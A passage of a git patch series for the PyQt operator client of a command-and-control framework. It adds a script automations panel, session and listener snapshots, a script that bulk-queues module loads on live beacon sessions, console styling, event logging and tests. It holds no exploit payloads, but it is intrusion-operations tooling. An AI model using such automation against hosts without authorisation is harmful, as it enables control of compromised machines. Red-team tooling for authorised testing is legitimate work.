self.scriptStates.get(scriptName) + if not state or state["script"] is None: + return + + enabled = item.checkState() == Qt.CheckState.Checked + state["enabled"] = enabled + self.updateAutomationRow(scriptName) + self.updateManualHookSelector() + + def updateManualHookSelector(self): + scriptName = self.selectedScriptName() + state = self.scriptStates.get(scriptName) + self.manualHookSelector.clear() + + if not state or state["script"] is None or not state["hooks"]: + self.runHookButton.setEnabled(False) + return + + for hookName in state["hooks"]: + self.manualHookSelector.addItem(hookName, hookName) + index = self.manualHookSelector.count() - 1 + self.manualHookSelector.setItemData( + index, + HOOK_TRIGGER_NOTES.get(hookName, ""), + Qt.ItemDataRole.ToolTipRole, + ) + self.runHookButton.setEnabled(True) + + def selectedScriptName(self): + row = self.automationTable.currentRow() + if row < 0: + return "" + item = self.automationTable.item(row, COL_SCRIPT) + if item is None: + return "" + return item.data(SCRIPT_NAME_ROLE) or "" + + def scriptName(self, script): + return getattr(script, "__name__", script.__class__.__name__) + + def displayScriptName(self, scriptName): + return scriptName.split(".")[-1] + + def scriptHooks(self, script): + hooks = [] + for hookName in HOOK_ORDER: + if callable(getattr(script, hookName, None)): + hooks.append(hookName) + return hooks + + def parseFailedScript(self, failure): + scriptName, separator, error = str(failure).partition(":") + return scriptName.strip() or "unknown", error.strip() if separator else str(failure) + + def printLoadedAutomationSummary(self): + loaded = [] + for scriptName, state in sorted(self.scriptStates.items()): + if state["script"] is None: + continue + loaded.append(f"{self.displayScriptName(scriptName)}: {', '.join(state['hooks']) or 'no hooks'}") + self.printInTerminal("Loaded automations:", "\n".join(loaded) or "No script loaded.") + + failed = [] + for scriptName, state in sorted(self.scriptStates.items()): + if state["script"] is None: + failed.append(f"{scriptName}: {state['last_error']}") + if failed: + self.printInTerminal("Script load errors:", "\n".join(failed)) + + def dispatchHook(self, hookName, triggerDescription, *args): + self.lastHookContexts[hookName] = { + "args": args, + "trigger": triggerDescription, + "updated_at": datetime.now(), + } + + for state in self.scriptStates.values(): + script = state["script"] + if script is not None: + self.runScriptHook(script, hookName, hookName, *args) def runScriptHook(self, script, hookName, displayName, *args): scriptName = getattr(script, "__name__", script.__class__.__name__) hook = getattr(script, hookName, None) if hook is None: - return + return False + + state = self.scriptStates.get(scriptName) + if state is None: + state = { + "script": script, + "enabled": True, + "hooks": self.scriptHooks(script), + "last_run": "Never", + "activations": 0, + "errors": 0, + "last_error": "", + "load_error": "", + } + self.scriptStates[scriptName] = state + self.refreshAutomationTable() + + if not state["enabled"]: + self.updateAutomationRow(scriptName) + return False + + state["activations"] += 1 + state["last_run"] = datetime.now().strftime("%H:%M:%S") + self.updateAutomationRow(scriptName) try: - output = hook(self.grpcClient, *args) + output = self.invokeScriptHook(hook, *args) except Exception as exc: + state["errors"] += 1 + state["last_error"] = f"{hookName}: {exc}" + self.updateAutomationRow(scriptName) logger.warning( "Script hook %s.%s failed: %s", scriptName, @@ -190,10 +523,59 @@ def runScriptHook(self, script, hookName, displayName, *args): exc_info=logger.isEnabledFor(logging.DEBUG), ) self.printInTerminal("Script error:", f"{scriptName}.{hookName}: {exc}") - return + return False + state["last_error"] = "" + self.updateAutomationRow(scriptName) if output: self.printInTerminal(displayName, output) + return True + + def invokeScriptHook(self, hook, *args): + fullArgs = (self.grpcClient, *args) + try: + signature = inspect.signature(hook) + except (TypeError, ValueError): + return hook(*fullArgs) + + parameters = list(signature.parameters.values()) + if any(param.kind == inspect.Parameter.VAR_POSITIONAL for param in parameters): + return hook(*fullArgs) + + positional = [ + param for param in parameters + if param.kind in ( + inspect.Parameter.POSITIONAL_ONLY, + inspect.Parameter.POSITIONAL_OR_KEYWORD, + ) + ] + return hook(*fullArgs[:len(positional)]) + + def runSelectedHook(self): + scriptName = self.selectedScriptName() + state = self.scriptStates.get(scriptName) + hookName = self.manualHookSelector.currentData() + if not state or state["script"] is None or not hookName: + self.printInTerminal("Manual run blocked:", "Select a loaded script and hook first.") + return + + if not state["enabled"]: + self.printInTerminal("Manual run blocked:", f"{self.displayScriptName(scriptName)} is disabled.") + return + + context = self.lastHookContexts.get(hookName) + if hookName == "ManualStart": + args = (self.clientStateSnapshot(),) + elif context is None and hookName not in MANUAL_HOOKS_WITHOUT_CONTEXT: + self.printInTerminal( + "Manual run blocked:", + f"{hookName} needs a captured trigger context. Trigger it once from the UI first.", + ) + return + else: + args = context["args"] if context is not None else () + self.printInTerminal("Manual run:", f"{self.displayScriptName(scriptName)}.{hookName}") + self.runScriptHook(state["script"], hookName, hookName, *args) def event(self, event): @@ -226,7 +608,10 @@ def runCommand(self): self.printInTerminal("", "") else: - toto=1 + self.printInTerminal( + "Automation command:", + "Use the table to enable scripts and run hooks manually.", + ) self.setCursorEditorAtEnd() diff --git a/C2Client/C2Client/Scripts/listDirectory.py b/C2Client/C2Client/Scripts/listDirectory.py deleted file mode 100644 index 5d3bbfe..0000000 --- a/C2Client/C2Client/Scripts/listDirectory.py +++ /dev/null @@ -1,28 +0,0 @@ -import uuid - -from ..grpcClient import TeamServerApi_pb2 -from ..grpc_status import is_response_ok, response_message - - -def OnSessionStart(grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed): - output = "listDirectory:\n"; - output += "load ListDirectory\n"; - - commandLine = "loadModule ListDirectory" - command = TeamServerApi_pb2.SessionCommandRequest( - session=TeamServerApi_pb2.SessionSelector( - beacon_hash=beaconHash, - listener_hash=listenerHash, - ), - command=commandLine, - command_id=uuid.uuid4().hex, - ) - result = grpcClient.sendSessionCommand(command) - if not is_response_ok(result): - output += response_message(result, "Command was rejected by TeamServer.") + "\n" - - # commandLine = "ls" - # command = TeamServerApi_pb2.SessionCommandRequest(session=TeamServerApi_pb2.SessionSelector(beacon_hash=beaconHash, listener_hash=listenerHash), command=commandLine, command_id=uuid.uuid4().hex) - # result = grpcClient.sendSessionCommand(command) - - return output diff --git a/C2Client/C2Client/Scripts/loadCommonModules.py b/C2Client/C2Client/Scripts/loadCommonModules.py new file mode 100644 index 0000000..3e6c50a --- /dev/null +++ b/C2Client/C2Client/Scripts/loadCommonModules.py @@ -0,0 +1,36 @@ +import uuid + +from ..grpcClient import TeamServerApi_pb2 +from ..grpc_status import is_response_ok, response_message + +MODULES = ["ls", "cd", "pwd", "tree"] + +def ManualStart(grpcClient, context): + output = [] + + for session in context["sessions"]: + if session["killed"]: + continue + + selector = TeamServerApi_pb2.SessionSelector( + beacon_hash=session["beacon_hash"], + listener_hash=session["listener_hash"], + ) + + for module in MODULES: + command_line = f"loadModule {module}" + command = TeamServerApi_pb2.SessionCommandRequest( + session=selector, + command=command_line, + command_id=uuid.uuid4().hex, + ) + ack = grpcClient.sendSessionCommand(command) + if is_response_ok(ack): + output.append(f'{session["hostname"]}: queued {command_line}') + else: + output.append( + f'{session["hostname"]}: failed {command_line}: ' + + response_message(ack, "Command rejected.") + ) + + return "\n".join(output) \ No newline at end of file diff --git a/C2Client/C2Client/Scripts/template.py.example b/C2Client/C2Client/Scripts/template.py.example index c310623..9b5cee4 100644 --- a/C2Client/C2Client/Scripts/template.py.example +++ b/C2Client/C2Client/Scripts/template.py.example @@ -1,6 +1,15 @@ from ..grpcClient import GrpcClient, TeamServerApi_pb2 +def ManualStart(grpcClient: GrpcClient, context: dict) -> str: + sessions = context.get("sessions", []) + listeners = context.get("listeners", []) + output = "Scrip test.py: ManualStart\n" + output += f"Known sessions: {len(sessions)}\n" + output += f"Known listeners: {len(listeners)}\n" + return output + + def OnStart(grpcClient: GrpcClient) -> str: output = "Scrip test.py: OnStart\n" return output @@ -61,4 +70,3 @@ def OnConsoleSend(grpcClient: GrpcClient) -> str: def OnConsoleReceive(grpcClient: GrpcClient) -> str: output = "Scrip test.py: OnConsoleReceive\n" return output - diff --git a/C2Client/C2Client/SessionPanel.py b/C2Client/C2Client/SessionPanel.py index 488d1a9..a9c9d67 100644 --- a/C2Client/C2Client/SessionPanel.py +++ b/C2Client/C2Client/SessionPanel.py @@ -47,6 +47,18 @@ def _to_text(value): return str(value or "").strip() +def _to_text_list(value): + if value is None: + return [] + if isinstance(value, str): + return [part.strip() for part in value.split(",") if part.strip()] + try: + return [_to_text(item) for item in value if _to_text(item)] + except TypeError: + text = _to_text(value) + return [text] if text else [] + + def _is_truthy(value): if isinstance(value, bool): return value @@ -326,6 +338,36 @@ def sessionByShortBeaconHash(self, beaconHashPrefix): return sessionStore return None + def scriptSnapshot(self): + snapshots = [] + for sessionStore in self.listSessionObject: + state, stateTooltip = resolve_session_state( + sessionStore.killed, + sessionStore.lastProofOfLife, + self.sessionStaleAfterMs, + ) + snapshots.append( + { + "id": sessionStore.id, + "beacon_hash": _to_text(sessionStore.beaconHash), + "listener_hash": _to_text(sessionStore.listenerHash), + "hostname": _to_text(sessionStore.hostname), + "username": _to_text(sessionStore.username), + "arch": _to_text(sessionStore.arch), + "privilege": _to_text(sessionStore.privilege), + "os": _to_text(sessionStore.os), + "last_proof_of_life": _to_text(sessionStore.lastProofOfLife), + "killed": _is_truthy(sessionStore.killed), + "internal_ips": _to_text_list(sessionStore.internalIps), + "internal_ips_text": _to_text(sessionStore.internalIps), + "process_id": _to_text(sessionStore.processId), + "additional_information": _to_text(sessionStore.additionalInformation), + "state": state, + "state_detail": stateTooltip, + } + ) + return snapshots + def interactWithSelectedSession(self): sessionStore = self.selectedSession() if sessionStore is None: diff --git a/C2Client/TODO.md b/C2Client/TODO.md index 7e6706f..07864dd 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -17,7 +17,7 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 9 | [ ] | Ajouter filtres, recherche et tri tables | M | Fort | Filtrer sessions/listeners par host, user, OS, privilege, listener, status; tri par last seen et privilege. Client-only au depart. | | 10 | [x] | Humaniser l'etat des sessions | M | Fort | Fait. Etat `Alive/Stale/Killed/Unknown`, last seen relatif, seuil `C2_SESSION_STALE_AFTER_MS=30000`, couleurs discretes et OS complet en tooltip. | | 11 | [x] | Ameliorer la console beacon | M | Fort | Recherche output, clear, export log, pause autoscroll, bouton resend, affichage `queued/done/error` par `command_id`. | -| 12 | [ ] | Transformer `ScriptPanel` en vrai panneau d'automations | M | Moyen | Lister hooks charges, afficher erreurs par script, activer/desactiver un script, executer une action script manuelle. | +| 12 | [x] | Transformer `ScriptPanel` en vrai panneau d'automations | M | Moyen | Fait. Table scripts/hooks, enable/disable, erreurs par script, compteur d'activations, run manuel et hook `ManualStart(context)` avec snapshots sessions/listeners; subtilites de triggers en tooltip. | | 13 | [ ] | Ameliorer le formulaire listener | M | Moyen | Partiel. Validation port/IP/domain/token avant RPC, defaults par type et erreurs inline; previsualisation de la config encore a faire. | | 14 | [ ] | Ajouter un panneau details session | M | Fort | Vue laterale avec metadata, listeners associes, notes locales, dernieres commandes, boutons d'action contextuels. | | 15 | [ ] | Ameliorer le graph | M | Moyen | Zoom, fit-to-view, layout persistant, clic node pour ouvrir details/console, couleurs par listener/status. | diff --git a/C2Client/tests/test_gui_startup.py b/C2Client/tests/test_gui_startup.py index 5191502..cabc848 100644 --- a/C2Client/tests/test_gui_startup.py +++ b/C2Client/tests/test_gui_startup.py @@ -22,15 +22,25 @@ class DummyWidget(QWidget): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) + def scriptSnapshot(self): + return [{"source": self.__class__.__name__}] + + +class DummyScript: + def __init__(self): + self.provider = None + self.sessionScriptMethod = lambda *a, **k: None + self.listenerScriptMethod = lambda *a, **k: None + self.mainScriptMethod = lambda *a, **k: None + + def setClientStateProvider(self, provider): + self.provider = provider + class DummyConsole(QWidget): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) - self.script = SimpleNamespace( - sessionScriptMethod=lambda *a, **k: None, - listenerScriptMethod=lambda *a, **k: None, - mainScriptMethod=lambda *a, **k: None, - ) + self.script = DummyScript() self.assistant = SimpleNamespace(sessionAssistantMethod=lambda *a, **k: None) def addConsole(self, *args, **kwargs): @@ -56,6 +66,10 @@ def fake_bot(self): assert isinstance(app.consoleWidget, DummyConsole) assert isinstance(app.listenersWidget, DummyWidget) assert isinstance(app.sessionsWidget, DummyWidget) + assert app.consoleWidget.script.provider() == { + "sessions": [{"source": "DummyWidget"}], + "listeners": [{"source": "DummyWidget"}], + } assert "Connected | 127.0.0.1:50051" in app.connectionStatusLabel.text() assert app.rpcStatusLabel.text() == "Last RPC: none" diff --git a/C2Client/tests/test_listener_panel.py b/C2Client/tests/test_listener_panel.py index 68777f0..aedd05c 100644 --- a/C2Client/tests/test_listener_panel.py +++ b/C2Client/tests/test_listener_panel.py @@ -143,6 +143,28 @@ def test_listener_toolbar_actions_use_selected_listener(qtbot, monkeypatch): assert grpc.stopped_listeners[-1].listener_hash == "listener-full-hash" +def test_listener_script_snapshot_exposes_listener_context(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.ListenerPanel.QThread.start", lambda self: None) + + parent = QWidget() + listeners = Listeners(parent, StubGrpc()) + listeners.listListenerObject = [ + Listener(0, "listener-full-hash", "https", "0.0.0.0", 8443, 2) + ] + qtbot.addWidget(listeners) + + assert listeners.scriptSnapshot() == [ + { + "id": 0, + "listener_hash": "listener-full-hash", + "type": "https", + "host": "0.0.0.0", + "port": 8443, + "session_count": 2, + } + ] + + def test_listener_table_keeps_user_column_width_after_refresh(qtbot, monkeypatch): monkeypatch.setattr("C2Client.ListenerPanel.QThread.start", lambda self: None) diff --git a/C2Client/tests/test_script_panel.py b/C2Client/tests/test_script_panel.py index 2408e91..b673819 100644 --- a/C2Client/tests/test_script_panel.py +++ b/C2Client/tests/test_script_panel.py @@ -1,5 +1,4 @@ -from PyQt6.QtWidgets import QWidget - +from PyQt6.QtCore import Qt from C2Client.ScriptPanel import Script @@ -11,12 +10,58 @@ def OnStart(grpc_client): raise RuntimeError("boom") +class ConsoleContextScript: + calls = [] + + @staticmethod + def OnConsoleSend(grpc_client, beacon_hash, listener_hash, context, command, result, command_id): + ConsoleContextScript.calls.append( + (grpc_client, beacon_hash, listener_hash, context, command, result, command_id) + ) + return "console send ok" + + +class LegacyConsoleScript: + calls = 0 + + @staticmethod + def OnConsoleSend(grpc_client): + LegacyConsoleScript.calls += 1 + return "legacy send ok" + + +class OnStartScript: + calls = 0 + + @staticmethod + def OnStart(grpc_client): + OnStartScript.calls += 1 + return "start ok" + + +class ManualStartScript: + calls = [] + + @staticmethod + def ManualStart(grpc_client, context): + ManualStartScript.calls.append((grpc_client, context)) + return "manual ok" + + +class LegacyManualStartScript: + calls = 0 + + @staticmethod + def ManualStart(grpc_client): + LegacyManualStartScript.calls += 1 + return "legacy manual ok" + + def test_script_hook_error_is_visible_without_stdout(qtbot, monkeypatch, capsys): monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [RaisingScript]) monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) - parent = QWidget() - script_panel = Script(parent, object()) + script_panel = Script(None, object()) qtbot.addWidget(script_panel) capsys.readouterr() @@ -27,3 +72,180 @@ def test_script_hook_error_is_visible_without_stdout(qtbot, monkeypatch, capsys) assert captured.out == "" assert "Script error:" in output assert "RaisingScript.OnStart: boom" in output + assert script_panel.scriptStates["RaisingScript"]["activations"] == 1 + assert script_panel.scriptStates["RaisingScript"]["errors"] == 1 + + +def test_script_panel_lists_hooks_and_import_errors(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [ConsoleContextScript]) + monkeypatch.setattr( + "C2Client.ScriptPanel.FailedScripts", + ["C2Client.Scripts.badScript: import boom"], + ) + + script_panel = Script(None, object()) + qtbot.addWidget(script_panel) + + assert script_panel.automationTable.rowCount() == 2 + assert script_panel.scriptStates["ConsoleContextScript"]["hooks"] == ["OnConsoleSend"] + assert script_panel.scriptStates["C2Client.Scripts.badScript"]["errors"] == 1 + + +def test_console_hook_receives_context_and_legacy_signature_still_works(qtbot, monkeypatch): + ConsoleContextScript.calls = [] + LegacyConsoleScript.calls = 0 + grpc_client = object() + monkeypatch.setattr( + "C2Client.ScriptPanel.LoadedScripts", + [ConsoleContextScript, LegacyConsoleScript], + ) + monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) + + script_panel = Script(None, grpc_client) + qtbot.addWidget(script_panel) + + script_panel.consoleScriptMethod( + "send", + "beacon", + "listener", + "Host host - Username user", + "whoami", + "", + "cmd-1", + ) + + assert ConsoleContextScript.calls == [ + (grpc_client, "beacon", "listener", "Host host - Username user", "whoami", "", "cmd-1") + ] + assert LegacyConsoleScript.calls == 1 + assert script_panel.lastHookContexts["OnConsoleSend"]["args"][3] == "whoami" + + +def test_disabled_script_does_not_run_automatically(qtbot, monkeypatch): + ConsoleContextScript.calls = [] + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [ConsoleContextScript]) + monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) + + script_panel = Script(None, object()) + qtbot.addWidget(script_panel) + + row = script_panel.tableItemsByScript["ConsoleContextScript"] + script_panel.automationTable.item(row, 0).setCheckState(Qt.CheckState.Unchecked) + + script_panel.consoleScriptMethod( + "send", + "beacon", + "listener", + "context", + "whoami", + "", + "cmd-1", + ) + + assert ConsoleContextScript.calls == [] + assert script_panel.scriptStates["ConsoleContextScript"]["enabled"] is False + assert script_panel.scriptStates["ConsoleContextScript"]["activations"] == 0 + + +def test_manual_run_replays_last_hook_context(qtbot, monkeypatch): + ConsoleContextScript.calls = [] + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [ConsoleContextScript]) + monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) + + script_panel = Script(None, object()) + qtbot.addWidget(script_panel) + + script_panel.consoleScriptMethod( + "send", + "beacon", + "listener", + "context", + "whoami", + "", + "cmd-1", + ) + row = script_panel.tableItemsByScript["ConsoleContextScript"] + script_panel.automationTable.setCurrentCell(row, 1) + script_panel.updateManualHookSelector() + + script_panel.runSelectedHook() + + assert len(ConsoleContextScript.calls) == 2 + assert ConsoleContextScript.calls[1][4] == "whoami" + assert script_panel.scriptStates["ConsoleContextScript"]["activations"] == 2 + + +def test_onstart_trigger_subtlety_is_available_in_hook_tooltip(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [OnStartScript]) + monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) + + script_panel = Script(None, object()) + qtbot.addWidget(script_panel) + + row = script_panel.tableItemsByScript["OnStartScript"] + assert "connected/reconnected" in script_panel.automationTable.item(row, 2).toolTip() + + script_panel.mainScriptMethod("start", "", "", "") + + assert OnStartScript.calls == 1 + assert "Trigger:" not in script_panel.editorOutput.toPlainText() + + +def test_manual_start_hook_runs_without_captured_context(qtbot, monkeypatch): + ManualStartScript.calls = [] + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [ManualStartScript]) + monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) + + script_panel = Script(None, object()) + qtbot.addWidget(script_panel) + script_panel.setClientStateProvider( + lambda: { + "sessions": [ + { + "beacon_hash": "beacon", + "listener_hash": "listener", + "hostname": "host1", + } + ], + "listeners": [ + { + "listener_hash": "listener", + "type": "https", + "host": "0.0.0.0", + "port": 8443, + } + ], + } + ) + + row = script_panel.tableItemsByScript["ManualStartScript"] + script_panel.automationTable.setCurrentCell(row, 1) + script_panel.updateManualHookSelector() + + assert script_panel.manualHookSelector.currentData() == "ManualStart" + + script_panel.runSelectedHook() + + assert len(ManualStartScript.calls) == 1 + assert ManualStartScript.calls[0][1]["sessions"][0]["beacon_hash"] == "beacon" + assert ManualStartScript.calls[0][1]["listeners"][0]["port"] == 8443 + assert script_panel.scriptStates["ManualStartScript"]["activations"] == 1 + assert "manual ok" in script_panel.editorOutput.toPlainText() + + +def test_legacy_manual_start_hook_still_runs_without_context_arg(qtbot, monkeypatch): + LegacyManualStartScript.calls = 0 + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [LegacyManualStartScript]) + monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) + + script_panel = Script(None, object()) + qtbot.addWidget(script_panel) + script_panel.setClientStateProvider(lambda: {"sessions": [{"beacon_hash": "beacon"}], "listeners": []}) + + row = script_panel.tableItemsByScript["LegacyManualStartScript"] + script_panel.automationTable.setCurrentCell(row, 1) + script_panel.updateManualHookSelector() + script_panel.runSelectedHook() + + assert LegacyManualStartScript.calls == 1 + assert script_panel.scriptStates["LegacyManualStartScript"]["activations"] == 1 diff --git a/C2Client/tests/test_session_panel.py b/C2Client/tests/test_session_panel.py index 10f1622..58cd079 100644 --- a/C2Client/tests/test_session_panel.py +++ b/C2Client/tests/test_session_panel.py @@ -173,6 +173,56 @@ def test_session_toolbar_actions_use_selected_session(qtbot, monkeypatch): assert grpc.stopped_sessions[-1].listener_hash == "listener-full-hash" +def test_session_script_snapshot_exposes_beacon_context(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.SessionPanel.QThread.start", lambda self: None) + + parent = QWidget() + sessions = Sessions(parent, StubGrpc()) + sessions.sessionStaleAfterMs = 1_000_000 + sessions.listSessionObject = [ + Session( + 0, + "listener-full-hash", + "beacon-full-hash", + "host1", + "user1", + "x64", + "HIGH", + "Windows", + datetime.now().isoformat(), + False, + "10.0.0.5, 192.168.56.20", + "1234", + "note", + ) + ] + qtbot.addWidget(sessions) + + snapshot = sessions.scriptSnapshot() + + assert snapshot == [ + { + "id": 0, + "beacon_hash": "beacon-full-hash", + "listener_hash": "listener-full-hash", + "hostname": "host1", + "username": "user1", + "arch": "x64", + "privilege": "HIGH", + "os": "Windows", + "last_proof_of_life": sessions.listSessionObject[0].lastProofOfLife, + "killed": False, + "internal_ips": ["10.0.0.5", "192.168.56.20"], + "internal_ips_text": "10.0.0.5, 192.168.56.20", + "process_id": "1234", + "additional_information": "note", + "state": SESSION_STATE_ALIVE, + "state_detail": snapshot[0]["state_detail"], + } + ] + assert snapshot[0]["state_detail"].startswith("Last seen now.") + + def test_session_table_keeps_user_column_width_after_refresh(qtbot, monkeypatch): monkeypatch.setattr("C2Client.SessionPanel.QThread.start", lambda self: None) From ebd5ba1a41bc024780f45a94200c03fc55d929a5 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Mon, 4 May 2026 21:38:44 +0200 Subject: [PATCH 12/82] Polish console role badges and spacing --- C2Client/C2Client/AssistantPanel.py | 70 +++++--- C2Client/C2Client/ConsolePanel.py | 161 ++++++++++++----- C2Client/C2Client/ScriptPanel.py | 58 ++++-- C2Client/C2Client/TerminalPanel.py | 45 ++--- C2Client/C2Client/console_style.py | 167 ++++++++++++++++++ C2Client/tests/test_assistant_panel.py | 16 ++ C2Client/tests/test_console_panel.py | 56 +++++- C2Client/tests/test_script_panel.py | 17 ++ .../tests/test_terminal_panel_dropper_arch.py | 20 +++ 9 files changed, 500 insertions(+), 110 deletions(-) create mode 100644 C2Client/C2Client/console_style.py diff --git a/C2Client/C2Client/AssistantPanel.py b/C2Client/C2Client/AssistantPanel.py index 8ddc538..c4bedd1 100644 --- a/C2Client/C2Client/AssistantPanel.py +++ b/C2Client/C2Client/AssistantPanel.py @@ -1,10 +1,9 @@ import os -from datetime import datetime from threading import Thread, Lock, Semaphore from PyQt6.QtCore import Qt, QEvent, QTimer, pyqtSignal -from PyQt6.QtGui import QFont, QTextCursor, QShortcut +from PyQt6.QtGui import QShortcut from PyQt6.QtWidgets import ( QLineEdit, QTextBrowser, @@ -15,10 +14,22 @@ import markdown from .assistant_agent import C2AssistantAgent +from .console_style import ( + apply_console_output_style, + append_console_block, + append_console_spacing, + move_editor_to_end, +) from .env import env_int DEFAULT_PENDING_TOOL_TIMEOUT_MS = 2 * 60 * 1000 +ASSISTANT_HEADER_ROLES = { + "system": ("[system]", "system", False), + "user": ("[user]", "user", False), + "analysis": ("[assistant]", "assistant", False), +} + def _load_pending_tool_timeout_ms(): return env_int( @@ -48,7 +59,7 @@ def __init__(self, parent, grpcClient): # self.logFileName=LogFileName self.editorOutput = QTextBrowser() - self.editorOutput.setFont(QFont("JetBrainsMono Nerd Font")) + apply_console_output_style(self.editorOutput) self.editorOutput.setReadOnly(True) # Force word wrapping self.editorOutput.setLineWrapMode(QTextEdit.LineWrapMode.WidgetWidth) @@ -176,28 +187,41 @@ def event(self, event): return super().event(event) - def printInTerminal(self, header="", message="", detail=""): - now = datetime.now() - formater = ( - '

' - '['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+']' - ' [+] ' - '{}' - '

' - ) - + def printInTerminal(self, header="", message="", detail="", rich_message=False): self.sem.acquire() try: - if header: - self.editorOutput.append(formater.format(header)) - for text in (message, detail): - if text: - self.editorOutput.append(text) + has_entry = bool(header or message or detail) + marker, tone, show_label = self._console_role_for_header(header) + append_console_block( + self.editorOutput, + header, + message, + marker=marker, + tone=tone, + rich_message=rich_message, + show_label=show_label, + ) + if detail: + append_console_block( + self.editorOutput, + "", + detail, + tone=tone, + rich_message=rich_message, + ) + if has_entry: + append_console_spacing(self.editorOutput) self.setCursorEditorAtEnd() finally: self.sem.release() + def _console_role_for_header(self, header): + normalized = str(header or "").strip().rstrip(":").lower() + if normalized in ASSISTANT_HEADER_ROLES: + return ASSISTANT_HEADER_ROLES[normalized] + return "[assistant]", "assistant", True + def runCommand(self): commandLine = self.commandEditor.displayText() @@ -355,7 +379,11 @@ def _agent_resume_worker(self, pending_id, tool_output): def _process_assistant_response(self, message): assistant_reply = getattr(message, "content", "") or "" if assistant_reply: - self.printInTerminal("Analysis:", markdown.markdown(assistant_reply, extensions=["fenced_code", "tables"])) + self.printInTerminal( + "Analysis:", + markdown.markdown(assistant_reply, extensions=["fenced_code", "tables"]), + rich_message=True, + ) if getattr(message, "is_pending", False): metadata = getattr(message, "metadata", {}) or {} @@ -411,9 +439,7 @@ def _handle_assistant_error(self, error_message): # setCursorEditorAtEnd def setCursorEditorAtEnd(self): - cursor = self.editorOutput.textCursor() - cursor.movePosition(QTextCursor.MoveOperation.End) - self.editorOutput.setTextCursor(cursor) + move_editor_to_end(self.editorOutput) class CommandEditor(QLineEdit): diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 270c245..b4ce692 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -3,12 +3,13 @@ import time import re, html import uuid +import json import logging from datetime import datetime from threading import Thread, Lock from PyQt6.QtCore import QObject, Qt, QEvent, QThread, QTimer, pyqtSignal, pyqtSlot -from PyQt6.QtGui import QFont, QStandardItem, QStandardItemModel, QTextCursor, QTextDocument, QShortcut +from PyQt6.QtGui import QStandardItem, QStandardItemModel, QTextCursor, QTextDocument, QShortcut from PyQt6.QtWidgets import ( QWidget, QTabWidget, @@ -29,10 +30,19 @@ from .ScriptPanel import Script from .AssistantPanel import Assistant from .TerminalModules.Credentials import credentials +from .console_style import ( + CONSOLE_COLORS, + apply_console_output_style, + console_header_html, + console_pre_html, + console_status_html, + move_editor_to_end, +) from .env import env_path from .grpc_status import is_response_ok, response_message logger = logging.getLogger(__name__) +CONSOLE_EVENT_PREFIX = "[console] " # @@ -519,6 +529,7 @@ def __init__(self, parent, grpcClient, beaconHash, listenerHash, hostname, usern self.logFileName=self.hostname+"_"+self.username+"_"+self.beaconHash+".log" self.lastCommandLine = "" self.commandStatusById = {} + self.renderedResponseIds = set() self.searchInput = QLineEdit() self.searchInput.setPlaceholderText("Search output") @@ -558,8 +569,9 @@ def __init__(self, parent, grpcClient, beaconHash, listenerHash, hostname, usern self.editorOutput = QTextEdit() self.editorOutput.setReadOnly(True) self.editorOutput.setAcceptRichText(True) - self.editorOutput.setFont(QFont("JetBrainsMono Nerd Font")) + apply_console_output_style(self.editorOutput) self.layout.addWidget(self.editorOutput, 8) + self.loadConsoleLog() self.commandEditor = CommandEditor() self.layout.addWidget(self.commandEditor, 2) @@ -594,7 +606,7 @@ def event(self, event): def setConsoleNotice(self, message, is_error=False): self.consoleNoticeLabel.setText(message) - color = "#b42318" if is_error else "#344054" + color = CONSOLE_COLORS["error"] if is_error else CONSOLE_COLORS["muted"] self.consoleNoticeLabel.setStyleSheet(f"color: {color};") def findNextSearchMatch(self, backward=False): @@ -658,6 +670,62 @@ def _shortText(self, text, limit=90): return text return text[:limit - 3] + "..." + def consoleLogPath(self): + return os.path.join(logsDir, self.logFileName) + + def appendConsoleEvent(self, event, **payload): + os.makedirs(logsDir, exist_ok=True) + eventPayload = { + "event": event, + "timestamp": datetime.now().strftime("%Y:%m:%d %H:%M:%S"), + **payload, + } + with open(self.consoleLogPath(), "a", encoding="utf-8") as logFile: + logFile.write(CONSOLE_EVENT_PREFIX) + logFile.write(json.dumps(eventPayload, sort_keys=True)) + logFile.write("\n") + + def loadConsoleLog(self): + path = self.consoleLogPath() + if not os.path.exists(path): + return + + loadedEvents = 0 + with open(path, encoding="utf-8", errors="replace") as logFile: + for line in logFile: + if not line.startswith(CONSOLE_EVENT_PREFIX): + continue + rawPayload = line[len(CONSOLE_EVENT_PREFIX):].strip() + try: + eventPayload = json.loads(rawPayload) + except json.JSONDecodeError: + continue + if self.renderConsoleEvent(eventPayload): + loadedEvents += 1 + + if loadedEvents: + self.setConsoleNotice(f"Loaded {loadedEvents} log events.") + self.setCursorEditorAtEnd(force=True) + + def renderConsoleEvent(self, eventPayload): + status = eventPayload.get("event", "") + if status not in {"queued", "done", "error"}: + return False + + command_id = eventPayload.get("command_id", "") + command = eventPayload.get("command", "") + output = eventPayload.get("output", "") + source = eventPayload.get("source", "") + timestamp = eventPayload.get("timestamp", "") + + self.setCommandStatus(command_id, status, command, output if status == "error" else "") + self.printCommandStatusInTerminal(command_id, status, command or output, timestamp=timestamp) + if status in {"done", "error"} and output: + 